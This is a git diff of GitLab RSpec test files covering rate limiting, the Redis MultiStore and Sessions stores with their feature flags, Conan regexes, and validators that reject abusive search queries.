diff --git a/spec/lib/gitlab/rack_attack_spec.rb b/spec/lib/gitlab/rack_attack_spec.rb
index 8f03905e08d..39ea02bad8b 100644
--- a/spec/lib/gitlab/rack_attack_spec.rb
+++ b/spec/lib/gitlab/rack_attack_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe Gitlab::RackAttack, :aggregate_failures do
describe '.configure' do
let(:fake_rack_attack) { class_double("Rack::Attack") }
- let(:fake_rack_attack_request) { class_double("Rack::Attack::Request") }
- let(:fake_cache) { instance_double("Rack::Attack::Cache") }
+ let(:fake_rack_attack_request) { class_double(Rack::Attack::Request) }
+ let(:fake_cache) { instance_double(Rack::Attack::Cache) }
let(:throttles) do
{
@@ -27,9 +27,6 @@ RSpec.describe Gitlab::RackAttack, :aggregate_failures do
end
before do
- stub_const("Rack::Attack", fake_rack_attack)
- stub_const("Rack::Attack::Request", fake_rack_attack_request)
-
allow(fake_rack_attack).to receive(:throttled_response=)
allow(fake_rack_attack).to receive(:throttle)
allow(fake_rack_attack).to receive(:track)
@@ -37,6 +34,9 @@ RSpec.describe Gitlab::RackAttack, :aggregate_failures do
allow(fake_rack_attack).to receive(:blocklist)
allow(fake_rack_attack).to receive(:cache).and_return(fake_cache)
allow(fake_cache).to receive(:store=)
+
+ fake_rack_attack.const_set('Request', fake_rack_attack_request)
+ stub_const("Rack::Attack", fake_rack_attack)
end
it 'extends the request class' do
@@ -78,7 +78,7 @@ RSpec.describe Gitlab::RackAttack, :aggregate_failures do
it 'configures tracks and throttles with a selected set of dry-runs' do
dry_run_throttles = throttles.each_key.first(2)
- regular_throttles = throttles.keys[2..-1]
+ regular_throttles = throttles.keys[2..]
stub_env('GITLAB_THROTTLE_DRY_RUN', dry_run_throttles.join(','))
described_class.configure(fake_rack_attack)
diff --git a/spec/lib/gitlab/rate_limit_helpers_spec.rb b/spec/lib/gitlab/rate_limit_helpers_spec.rb
deleted file mode 100644
index ad0e2de1448..00000000000
--- a/spec/lib/gitlab/rate_limit_helpers_spec.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::RateLimitHelpers, :clean_gitlab_redis_rate_limiting do
- let(:limiter_class) do
- Class.new do
- include ::Gitlab::RateLimitHelpers
-
- attr_reader :request
-
- def initialize(request)
- @request = request
- end
- end
- end
-
- let(:request) { instance_double(ActionDispatch::Request, request_method: 'GET', ip: '127.0.0.1', fullpath: '/') }
- let(:class_instance) { limiter_class.new(request) }
-
- let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project) }
-
- describe '#archive_rate_limit_reached?' do
- context 'with a user' do
- it 'rate limits the user properly' do
- 5.times do
- expect(class_instance.archive_rate_limit_reached?(user, project)).to be_falsey
- end
-
- expect(class_instance.archive_rate_limit_reached?(user, project)).to be_truthy
- end
- end
-
- context 'with an anonymous user' do
- before do
- stub_const('Gitlab::RateLimitHelpers::ARCHIVE_RATE_ANONYMOUS_THRESHOLD', 2)
- end
-
- it 'rate limits with higher limits' do
- 2.times do
- expect(class_instance.archive_rate_limit_reached?(nil, project)).to be_falsey
- end
-
- expect(class_instance.archive_rate_limit_reached?(nil, project)).to be_truthy
- expect(class_instance.archive_rate_limit_reached?(user, project)).to be_falsey
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/redis/multi_store_spec.rb b/spec/lib/gitlab/redis/multi_store_spec.rb
index bf1bf65bb9b..76731bb916c 100644
--- a/spec/lib/gitlab/redis/multi_store_spec.rb
+++ b/spec/lib/gitlab/redis/multi_store_spec.rb
@@ -27,6 +27,11 @@ RSpec.describe Gitlab::Redis::MultiStore do
subject { multi_store.send(name, *args) }
+ before do
+ skip_feature_flags_yaml_validation
+ skip_default_enabled_yaml_check
+ end
+
after(:all) do
primary_store.flushdb
secondary_store.flushdb
@@ -48,6 +53,15 @@ RSpec.describe Gitlab::Redis::MultiStore do
end
end
+ context 'when instance_name is nil' do
+ let(:instance_name) { nil }
+ let(:multi_store) { described_class.new(primary_store, secondary_store, instance_name)}
+
+ it 'fails with exception' do
+ expect { multi_store }.to raise_error(ArgumentError, /instance_name is required/)
+ end
+ end
+
context 'when primary_store is not a ::Redis instance' do
before do
allow(primary_store).to receive(:is_a?).with(::Redis).and_return(false)
@@ -114,6 +128,12 @@ RSpec.describe Gitlab::Redis::MultiStore do
end
RSpec.shared_examples_for 'fallback read from the secondary store' do
+ let(:counter) { Gitlab::Metrics::NullMetric.instance }
+
+ before do
+ allow(Gitlab::Metrics).to receive(:counter).and_return(counter)
+ end
+
it 'fallback and execute on secondary instance' do
expect(secondary_store).to receive(name).with(*args).and_call_original
@@ -128,7 +148,7 @@ RSpec.describe Gitlab::Redis::MultiStore do
end
it 'increment read fallback count metrics' do
- expect(multi_store).to receive(:increment_read_fallback_count).with(name)
+ expect(counter).to receive(:increment).with(command: name, instance_name: instance_name)
subject
end
@@ -169,9 +189,9 @@ RSpec.describe Gitlab::Redis::MultiStore do
allow(secondary_store).to receive(name).and_call_original
end
- context 'with feature flag :use_multi_store enabled' do
+ context 'with feature flag :use_primary_and_secondary_stores_for_test_store' do
before do
- stub_feature_flags(use_multi_store: true)
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: true)
end
context 'when reading from the primary is successful' do
@@ -246,12 +266,38 @@ RSpec.describe Gitlab::Redis::MultiStore do
end
end
- context 'with feature flag :use_multi_store is disabled' do
+ context 'with feature flag :use_primary_and_secondary_stores_for_test_store' do
before do
- stub_feature_flags(use_multi_store: false)
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: false)
end
- it_behaves_like 'secondary store'
+ context 'with feature flag :use_primary_store_as_default_for_test_store is disabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it_behaves_like 'secondary store'
+ end
+
+ context 'with feature flag :use_primary_store_as_default_for_test_store is enabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: true)
+ end
+
+ it 'execute on the primary instance' do
+ expect(primary_store).to receive(name).with(*args).and_call_original
+
+ subject
+ end
+
+ include_examples 'reads correct value'
+
+ it 'does not execute on the secondary store' do
+ expect(secondary_store).not_to receive(name)
+
+ subject
+ end
+ end
end
context 'with both primary and secondary store using same redis instance' do
@@ -329,9 +375,9 @@ RSpec.describe Gitlab::Redis::MultiStore do
allow(secondary_store).to receive(name).and_call_original
end
- context 'with feature flag :use_multi_store enabled' do
+ context 'with feature flag :use_primary_and_secondary_stores_for_test_store' do
before do
- stub_feature_flags(use_multi_store: true)
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: true)
end
context 'when executing on primary instance is successful' do
@@ -382,35 +428,57 @@ RSpec.describe Gitlab::Redis::MultiStore do
end
end
- context 'with feature flag :use_multi_store is disabled' do
+ context 'with feature flag :use_primary_and_secondary_stores_for_test_store is disabled' do
before do
- stub_feature_flags(use_multi_store: false)
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: false)
end
- it 'executes only on the secondary redis store', :aggregate_errors do
- expect(secondary_store).to receive(name).with(*expected_args)
- expect(primary_store).not_to receive(name).with(*expected_args)
+ context 'with feature flag :use_primary_store_as_default_for_test_store is disabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it 'executes only on the secondary redis store', :aggregate_errors do
+ expect(secondary_store).to receive(name).with(*expected_args)
+ expect(primary_store).not_to receive(name).with(*expected_args)
+
+ subject
+ end
- subject
+ include_examples 'verify that store contains values', :secondary_store
end
- include_examples 'verify that store contains values', :secondary_store
+ context 'with feature flag :use_primary_store_as_default_for_test_store is enabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: true)
+ end
+
+ it 'executes only on the primary_redis redis store', :aggregate_errors do
+ expect(primary_store).to receive(name).with(*expected_args)
+ expect(secondary_store).not_to receive(name).with(*expected_args)
+
+ subject
+ end
+
+ include_examples 'verify that store contains values', :primary_store
+ end
end
end
end
end
context 'with unsupported command' do
+ let(:counter) { Gitlab::Metrics::NullMetric.instance }
+
before do
primary_store.flushdb
secondary_store.flushdb
+ allow(Gitlab::Metrics).to receive(:counter).and_return(counter)
end
let_it_be(:key) { "redis:counter" }
- subject do
- multi_store.incr(key)
- end
+ subject { multi_store.incr(key) }
it 'executes method missing' do
expect(multi_store).to receive(:method_missing)
@@ -418,31 +486,75 @@ RSpec.describe Gitlab::Redis::MultiStore do
subject
end
- it 'logs MethodMissingError' do
- expect(Gitlab::ErrorTracking).to receive(:log_exception).with(an_instance_of(Gitlab::Redis::MultiStore::MethodMissingError),
- hash_including(command_name: :incr, extra: hash_including(instance_name: instance_name)))
+ context 'when command is not in SKIP_LOG_METHOD_MISSING_FOR_COMMANDS' do
+ it 'logs MethodMissingError' do
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(an_instance_of(Gitlab::Redis::MultiStore::MethodMissingError),
+ hash_including(command_name: :incr, extra: hash_including(instance_name: instance_name)))
- subject
+ subject
+ end
+
+ it 'increments method missing counter' do
+ expect(counter).to receive(:increment).with(command: :incr, instance_name: instance_name)
+
+ subject
+ end
end
- it 'increments method missing counter' do
- expect(multi_store).to receive(:increment_method_missing_count).with(:incr)
+ context 'when command is in SKIP_LOG_METHOD_MISSING_FOR_COMMANDS' do
+ subject { multi_store.info }
- subject
+ it 'does not log MethodMissingError' do
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+
+ subject
+ end
+
+ it 'does not increment method missing counter' do
+ expect(counter).not_to receive(:increment)
+
+ subject
+ end
end
- it 'fallback and executes only on the secondary store', :aggregate_errors do
- expect(secondary_store).to receive(:incr).with(key).and_call_original
- expect(primary_store).not_to receive(:incr)
+ context 'with feature flag :use_primary_store_as_default_for_test_store is enabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: true)
+ end
+
+ it 'fallback and executes only on the secondary store', :aggregate_errors do
+ expect(primary_store).to receive(:incr).with(key).and_call_original
+ expect(secondary_store).not_to receive(:incr)
- subject
+ subject
+ end
+
+ it 'correct value is stored on the secondary store', :aggregate_errors do
+ subject
+
+ expect(secondary_store.get(key)).to be_nil
+ expect(primary_store.get(key)).to eq('1')
+ end
end
- it 'correct value is stored on the secondary store', :aggregate_errors do
- subject
+ context 'with feature flag :use_primary_store_as_default_for_test_store is disabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it 'fallback and executes only on the secondary store', :aggregate_errors do
+ expect(secondary_store).to receive(:incr).with(key).and_call_original
+ expect(primary_store).not_to receive(:incr)
+
+ subject
+ end
+
+ it 'correct value is stored on the secondary store', :aggregate_errors do
+ subject
- expect(primary_store.get(key)).to be_nil
- expect(secondary_store.get(key)).to eq('1')
+ expect(primary_store.get(key)).to be_nil
+ expect(secondary_store.get(key)).to eq('1')
+ end
end
context 'when the command is executed within pipelined block' do
@@ -468,6 +580,96 @@ RSpec.describe Gitlab::Redis::MultiStore do
end
end
+ describe '#to_s' do
+ subject { multi_store.to_s }
+
+ context 'with feature flag :use_primary_and_secondary_stores_for_test_store is enabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: true)
+ end
+
+ it 'returns same value as primary_store' do
+ is_expected.to eq(primary_store.to_s)
+ end
+ end
+
+ context 'with feature flag :use_primary_and_secondary_stores_for_test_store is disabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: false)
+ end
+
+ context 'with feature flag :use_primary_store_as_default_for_test_store is enabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: true)
+ end
+
+ it 'returns same value as primary_store' do
+ is_expected.to eq(primary_store.to_s)
+ end
+ end
+
+ context 'with feature flag :use_primary_store_as_default_for_test_store is disabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it 'returns same value as primary_store' do
+ is_expected.to eq(secondary_store.to_s)
+ end
+ end
+ end
+ end
+
+ describe '#is_a?' do
+ it 'returns true for ::Redis::Store' do
+ expect(multi_store.is_a?(::Redis::Store)).to be true
+ end
+ end
+
+ describe '#use_primary_and_secondary_stores?' do
+ context 'with feature flag :use_primary_and_secondary_stores_for_test_store is enabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: true)
+ end
+
+ it 'multi store is disabled' do
+ expect(multi_store.use_primary_and_secondary_stores?).to be true
+ end
+ end
+
+ context 'with feature flag :use_primary_and_secondary_stores_for_test_store is disabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_test_store: false)
+ end
+
+ it 'multi store is disabled' do
+ expect(multi_store.use_primary_and_secondary_stores?).to be false
+ end
+ end
+ end
+
+ describe '#use_primary_store_as_default?' do
+ context 'with feature flag :use_primary_store_as_default_for_test_store is enabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: true)
+ end
+
+ it 'multi store is disabled' do
+ expect(multi_store.use_primary_store_as_default?).to be true
+ end
+ end
+
+ context 'with feature flag :use_primary_store_as_default_for_test_store is disabled' do
+ before do
+ stub_feature_flags(use_primary_store_as_default_for_test_store: false)
+ end
+
+ it 'multi store is disabled' do
+ expect(multi_store.use_primary_store_as_default?).to be false
+ end
+ end
+ end
+
def create_redis_store(options, extras = {})
::Redis::Store.new(options.merge(extras))
end
diff --git a/spec/lib/gitlab/redis/sessions_spec.rb b/spec/lib/gitlab/redis/sessions_spec.rb
index 7e239c08e9f..6ecbbf3294d 100644
--- a/spec/lib/gitlab/redis/sessions_spec.rb
+++ b/spec/lib/gitlab/redis/sessions_spec.rb
@@ -3,5 +3,90 @@
require 'spec_helper'
RSpec.describe Gitlab::Redis::Sessions do
- include_examples "redis_new_instance_shared_examples", 'sessions', Gitlab::Redis::SharedState
+ it_behaves_like "redis_new_instance_shared_examples", 'sessions', Gitlab::Redis::SharedState
+
+ describe 'redis instance used in connection pool' do
+ before do
+ clear_pool
+ end
+
+ after do
+ clear_pool
+ end
+
+ context 'when redis.sessions configuration is not provided' do
+ it 'uses ::Redis instance' do
+ expect(described_class).to receive(:config_fallback?).and_return(true)
+
+ described_class.pool.with do |redis_instance|
+ expect(redis_instance).to be_instance_of(::Redis)
+ end
+ end
+ end
+
+ context 'when redis.sessions configuration is provided' do
+ it 'instantiates an instance of MultiStore' do
+ expect(described_class).to receive(:config_fallback?).and_return(false)
+
+ described_class.pool.with do |redis_instance|
+ expect(redis_instance).to be_instance_of(::Gitlab::Redis::MultiStore)
+ end
+ end
+ end
+
+ def clear_pool
+ described_class.remove_instance_variable(:@pool)
+ rescue NameError
+ # raised if @pool was not set; ignore
+ end
+ end
+
+ describe '#store' do
+ subject(:store) { described_class.store(namespace: described_class::SESSION_NAMESPACE) }
+
+ context 'when redis.sessions configuration is NOT provided' do
+ it 'instantiates ::Redis instance' do
+ expect(described_class).to receive(:config_fallback?).and_return(true)
+ expect(store).to be_instance_of(::Redis::Store)
+ end
+ end
+
+ context 'when redis.sessions configuration is provided' do
+ let(:config_new_format_host) { "spec/fixtures/config/redis_new_format_host.yml" }
+ let(:config_new_format_socket) { "spec/fixtures/config/redis_new_format_socket.yml" }
+
+ before do
+ redis_clear_raw_config!(Gitlab::Redis::Sessions)
+ redis_clear_raw_config!(Gitlab::Redis::SharedState)
+ allow(described_class).to receive(:config_fallback?).and_return(false)
+ end
+
+ after do
+ redis_clear_raw_config!(Gitlab::Redis::Sessions)
+ redis_clear_raw_config!(Gitlab::Redis::SharedState)
+ end
+
+ # Check that Gitlab::Redis::Sessions is configured as MultiStore with proper attrs.
+ it 'instantiates an instance of MultiStore', :aggregate_failures do
+ expect(described_class).to receive(:config_file_name).and_return(config_new_format_host)
+ expect(::Gitlab::Redis::SharedState).to receive(:config_file_name).and_return(config_new_format_socket)
+
+ expect(store).to be_instance_of(::Gitlab::Redis::MultiStore)
+
+ expect(store.primary_store.to_s).to eq("Redis Client connected to test-host:6379 against DB 99 with namespace session:gitlab")
+ expect(store.secondary_store.to_s).to eq("Redis Client connected to /path/to/redis.sock against DB 0 with namespace session:gitlab")
+
+ expect(store.instance_name).to eq('Sessions')
+ end
+
+ context 'when MultiStore correctly configured' do
+ before do
+ allow(described_class).to receive(:config_file_name).and_return(config_new_format_host)
+ allow(::Gitlab::Redis::SharedState).to receive(:config_file_name).and_return(config_new_format_socket)
+ end
+
+ it_behaves_like 'multi store feature flags', :use_primary_and_secondary_stores_for_sessions, :use_primary_store_as_default_for_sessions
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/regex_spec.rb b/spec/lib/gitlab/regex_spec.rb
index 05f1c88a6ab..83f85cc73d0 100644
--- a/spec/lib/gitlab/regex_spec.rb
+++ b/spec/lib/gitlab/regex_spec.rb
@@ -264,23 +264,37 @@ RSpec.describe Gitlab::Regex do
it { is_expected.not_to match('1.2.3') }
end
- describe '.conan_recipe_component_regex' do
- subject { described_class.conan_recipe_component_regex }
-
- let(:fifty_one_characters) { 'f_a' * 17}
-
- it { is_expected.to match('foobar') }
- it { is_expected.to match('foo_bar') }
- it { is_expected.to match('foo+bar') }
- it { is_expected.to match('_foo+bar-baz+1.0') }
- it { is_expected.to match('1.0.0') }
- it { is_expected.not_to match('-foo_bar') }
- it { is_expected.not_to match('+foo_bar') }
- it { is_expected.not_to match('.foo_bar') }
- it { is_expected.not_to match('foo@bar') }
- it { is_expected.not_to match('foo/bar') }
- it { is_expected.not_to match('!!()()') }
- it { is_expected.not_to match(fifty_one_characters) }
+ context 'conan recipe components' do
+ shared_examples 'accepting valid recipe components values' do
+ let(:fifty_one_characters) { 'f_a' * 17}
+
+ it { is_expected.to match('foobar') }
+ it { is_expected.to match('foo_bar') }
+ it { is_expected.to match('foo+bar') }
+ it { is_expected.to match('_foo+bar-baz+1.0') }
+ it { is_expected.to match('1.0.0') }
+ it { is_expected.not_to match('-foo_bar') }
+ it { is_expected.not_to match('+foo_bar') }
+ it { is_expected.not_to match('.foo_bar') }
+ it { is_expected.not_to match('foo@bar') }
+ it { is_expected.not_to match('foo/bar') }
+ it { is_expected.not_to match('!!()()') }
+ it { is_expected.not_to match(fifty_one_characters) }
+ end
+
+ describe '.conan_recipe_component_regex' do
+ subject { described_class.conan_recipe_component_regex }
+
+ it_behaves_like 'accepting valid recipe components values'
+ it { is_expected.not_to match('_') }
+ end
+
+ describe '.conan_recipe_user_channel_regex' do
+ subject { described_class.conan_recipe_user_channel_regex }
+
+ it_behaves_like 'accepting valid recipe components values'
+ it { is_expected.to match('_') }
+ end
end
describe '.package_name_regex' do
diff --git a/spec/lib/gitlab/relative_positioning/range_spec.rb b/spec/lib/gitlab/relative_positioning/range_spec.rb
index c3386336493..da1f0166d5d 100644
--- a/spec/lib/gitlab/relative_positioning/range_spec.rb
+++ b/spec/lib/gitlab/relative_positioning/range_spec.rb
@@ -3,8 +3,10 @@
require 'spec_helper'
RSpec.describe Gitlab::RelativePositioning::Range do
- item_a = OpenStruct.new(relative_position: 100, object: :x, positioned?: true)
- item_b = OpenStruct.new(relative_position: 200, object: :y, positioned?: true)
+ position_struct = Struct.new(:relative_position, :object, :positioned?)
+
+ item_a = position_struct.new(100, :x, true)
+ item_b = position_struct.new(200, :y, true)
before do
allow(item_a).to receive(:lhs_neighbour) { nil }
@@ -90,12 +92,12 @@ RSpec.describe Gitlab::RelativePositioning::Range do
end
describe '#cover?' do
- item_c = OpenStruct.new(relative_position: 150, object: :z, positioned?: true)
- item_d = OpenStruct.new(relative_position: 050, object: :w, positioned?: true)
- item_e = OpenStruct.new(relative_position: 250, object: :r, positioned?: true)
- item_f = OpenStruct.new(positioned?: false)
- item_ax = OpenStruct.new(relative_position: 100, object: :not_x, positioned?: true)
- item_bx = OpenStruct.new(relative_position: 200, object: :not_y, positioned?: true)
+ item_c = position_struct.new(150, :z, true)
+ item_d = position_struct.new(050, :w, true)
+ item_e = position_struct.new(250, :r, true)
+ item_f = position_struct.new(positioned?: false)
+ item_ax = position_struct.new(100, :not_x, true)
+ item_bx = position_struct.new(200, :not_y, true)
where(:lhs, :rhs, :item, :expected_result) do
[
diff --git a/spec/lib/gitlab/repository_archive_rate_limiter_spec.rb b/spec/lib/gitlab/repository_archive_rate_limiter_spec.rb
new file mode 100644
index 00000000000..49df70f3cb3
--- /dev/null
+++ b/spec/lib/gitlab/repository_archive_rate_limiter_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Gitlab::RepositoryArchiveRateLimiter do
+ let(:described_class) do
+ Class.new do
+ include ::Gitlab::RepositoryArchiveRateLimiter
+
+ def check_rate_limit!(**args)
+ end
+ end
+ end
+
+ describe "#check_archive_rate_limit!" do
+ let(:project) { instance_double('Project') }
+ let(:current_user) { instance_double('User') }
+ let(:check) { subject.check_archive_rate_limit!(current_user, project) }
+
+ context 'when archive_rate_limit feature flag is disabled' do
+ before do
+ stub_feature_flags(archive_rate_limit: false)
+ end
+
+ it 'does not check rate limit' do
+ expect(subject).not_to receive(:check_rate_limit!)
+
+ expect(check).to eq nil
+ end
+ end
+
+ context 'when archive_rate_limit feature flag is enabled' do
+ before do
+ stub_feature_flags(archive_rate_limit: true)
+ end
+
+ context 'when current user exists' do
+ it 'checks for project_repositories_archive rate limiting with default threshold' do
+ expect(subject).to receive(:check_rate_limit!)
+ .with(:project_repositories_archive, scope: [project, current_user], threshold: nil)
+ check
+ end
+ end
+
+ context 'when current user does not exist' do
+ let(:current_user) { nil }
+
+ it 'checks for project_repositories_archive rate limiting with threshold 100' do
+ expect(subject).to receive(:check_rate_limit!)
+ .with(:project_repositories_archive, scope: [project, current_user], threshold: 100)
+ check
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/saas_spec.rb b/spec/lib/gitlab/saas_spec.rb
new file mode 100644
index 00000000000..1be36a60a97
--- /dev/null
+++ b/spec/lib/gitlab/saas_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Saas do
+ describe '.canary_toggle_com_url' do
+ subject { described_class.canary_toggle_com_url }
+
+ let(:next_url) { 'https://next.gitlab.com' }
+
+ it { is_expected.to eq(next_url) }
+ end
+end
diff --git a/spec/lib/gitlab/search/abuse_detection_spec.rb b/spec/lib/gitlab/search/abuse_detection_spec.rb
new file mode 100644
index 00000000000..a18d28456cd
--- /dev/null
+++ b/spec/lib/gitlab/search/abuse_detection_spec.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Search::AbuseDetection do
+ subject { described_class.new(params) }
+
+ let(:params) {{ query_string: 'foobar' }}
+
+ describe 'abusive scopes validation' do
+ it 'allows only approved scopes' do
+ described_class::ALLOWED_SCOPES.each do |scope|
+ expect(described_class.new(scope: scope)).to be_valid
+ end
+ end
+
+ it 'disallows anything not approved' do
+ expect(described_class.new(scope: 'nope')).not_to be_valid
+ end
+ end
+
+ describe 'abusive character matching' do
+ refs = %w(
+ main
+ теÑÑ‚
+ maiñ
+ main123
+ main-v123
+ main-v12.3
+ feature/it_works
+ really_important!
+ 测试
+ )
+
+ refs.each do |ref|
+ it "does match refs permitted by git refname: #{ref}" do
+ [:repository_ref, :project_ref].each do |param|
+ validation = described_class.new(Hash[param, ref])
+ expect(validation).to be_valid
+ end
+ end
+
+ it "does NOT match refs with special characters: #{ref}" do
+ ['?', '\\', ' '].each do |special_character|
+ [:repository_ref, :project_ref].each do |param|
+ validation = described_class.new(Hash[param, ref + special_character])
+ expect(validation).not_to be_valid
+ end
+ end
+ end
+ end
+ end
+
+ describe 'numericality validation' do
+ it 'considers non Integers to be invalid' do
+ [:project_id, :group_id].each do |param|
+ [[1, 2, 3], 'xyz', 3.14, { foo: :bar }].each do |dtype|
+ expect(described_class.new(param => dtype)).not_to be_valid
+ end
+ end
+ end
+
+ it 'considers Integers to be valid' do
+ [:project_id, :group_id].each do |param|
+ expect(described_class.new(param => 123)).to be_valid
+ end
+ end
+ end
+
+ describe 'query_string validation' do
+ using ::RSpec::Parameterized::TableSyntax
+
+ subject { described_class.new(query_string: search) }
+
+ let(:validation_errors) do
+ subject.validate
+ subject.errors.messages
+ end
+
+ where(:search, :errors) do
+ described_class::STOP_WORDS.each do |word|
+ word | { query_string: ['stopword only abusive search detected'] }
+ end
+
+ 'x' | { query_string: ['abusive tiny search detected'] }
+ ('x' * described_class::ABUSIVE_TERM_SIZE) | { query_string: ['abusive term length detected'] }
+ '' | {}
+ '*' | {}
+ 'ruby' | {}
+ end
+
+ with_them do
+ it 'validates query string for pointless search' do
+ expect(validation_errors).to eq(errors)
+ end
+ end
+ end
+
+ describe 'abusive type coercion from string validation' do
+ it 'considers anything not a String invalid' do
+ [:query_string, :scope, :repository_ref, :project_ref].each do |param|
+ [[1, 2, 3], 123, 3.14, { foo: :bar }].each do |dtype|
+ expect(described_class.new(param => dtype)).not_to be_valid
+ end
+ end
+ end
+
+ it 'considers Strings to be valid' do
+ [:query_string, :repository_ref, :project_ref].each do |param|
+ expect(described_class.new(param => "foo")).to be_valid
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator_spec.rb b/spec/lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator_spec.rb
new file mode 100644
index 00000000000..76280e65867
--- /dev/null
+++ b/spec/lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Search::AbuseValidators::NoAbusiveCoercionFromStringValidator do
+ subject do
+ described_class.new({ attributes: { foo: :bar } })
+ end
+
+ let(:instance) { double(:instance) }
+ let(:attribute) { :attribute }
+ let(:validation_msg) { 'abusive coercion from string detected' }
+ let(:validate) { subject.validate_each(instance, attribute, attribute_value) }
+
+ using ::RSpec::Parameterized::TableSyntax
+
+ where(:attribute_value, :valid?) do
+ ['this is an arry'] | false
+ { 'this': 'is a hash' } | false
+ 123 | false
+ 456.78 | false
+ 'now this is a string' | true
+ end
+
+ with_them do
+ it do
+ if valid?
+ expect(instance).not_to receive(:errors)
+ else
+ expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
+ validate
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/search/abuse_validators/no_abusive_term_length_validator_spec.rb b/spec/lib/gitlab/search/abuse_validators/no_abusive_term_length_validator_spec.rb
new file mode 100644
index 00000000000..67409d9b628
--- /dev/null
+++ b/spec/lib/gitlab/search/abuse_validators/no_abusive_term_length_validator_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Search::AbuseValidators::NoAbusiveTermLengthValidator do
+ subject do
+ described_class.new({ attributes: { foo: :bar }, maximum: limit, maximum_for_url: url_limit })
+ end
+
+ let(:limit) { 100 }
+ let(:url_limit) { limit * 2 }
+ let(:instance) { double(:instance) }
+ let(:attribute) { :search }
+ let(:validation_msg) { 'abusive term length detected' }
+ let(:validate) { subject.validate_each(instance, attribute, search) }
+
+ context 'when a term is over the limit' do
+ let(:search) { "this search is too lo#{'n' * limit}g" }
+
+ it 'adds a validation error' do
+ expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
+ validate
+ end
+ end
+
+ context 'when all terms are under the limit' do
+ let(:search) { "what is love? baby don't hurt me" }
+
+ it 'does NOT add any validation errors' do
+ expect(instance).not_to receive(:errors)
+ validate
+ end
+ end
+
+ context 'when a URL is detected in a search term' do
+ let(:double_limit) { limit * 2 }
+ let(:terms) do
+ [
+ 'http://' + 'x' * (double_limit - 12) + '.com',
+ 'https://' + 'x' * (double_limit - 13) + '.com',
+ 'sftp://' + 'x' * (double_limit - 12) + '.com',
+ 'ftp://' + 'x' * (double_limit - 11) + '.com',
+ 'http://' + 'x' * (double_limit - 8) # no tld is OK
+ ]
+ end
+
+ context 'when under twice the limit' do
+ let(:search) { terms.join(' ') }
+
+ it 'does NOT add any validation errors' do
+ search.split.each do |term|
+ expect(term.length).to be < url_limit
+ end
+
+ expect(instance).not_to receive(:errors)
+ validate
+ end
+ end
+
+ context 'when over twice the limit' do
+ let(:search) do
+ terms.map { |t| t + 'xxxxxxxx' }.join(' ')
+ end
+
+ it 'adds a validation error' do
+ expect(instance).to receive_message_chain(:errors, :add).with(attribute, validation_msg)
+ validate
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/search/params_spec.rb b/spec/lib/gitlab/search/params_spec.rb
new file mode 100644
index 00000000000..6d15337b872
--- /dev/null
+++ b/spec/lib/gitlab/search/params_spec.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Search::Params do
+ subject { described_class.new(params, detect_abuse: detect_abuse) }
+
+ let(:search) { 'search' }
+ let(:group_id) { 123 }
+ let(:params) { { group_id: 123, search: search } }
+ let(:detect_abuse) { true }
+
+ describe 'detect_abuse conditional' do
+ it 'does not call AbuseDetection' do
+ expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
+ described_class.new(params, detect_abuse: false)
+ end
+
+ it 'uses AbuseDetection by default' do
+ expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
+ described_class.new(params)
+ end
+ end
+
+ describe '#[]' do
+ it 'feels like regular params' do
+ expect(subject[:group_id]).to eq(params[:group_id])
+ end
+
+ it 'has indifferent access' do
+ params = described_class.new({ 'search' => search, group_id: group_id })
+ expect(params['group_id']).to eq(group_id)
+ expect(params[:search]).to eq(search)
+ end
+
+ it 'also works on attr_reader attributes' do
+ expect(subject[:query_string]).to eq(subject.query_string)
+ end
+ end
+
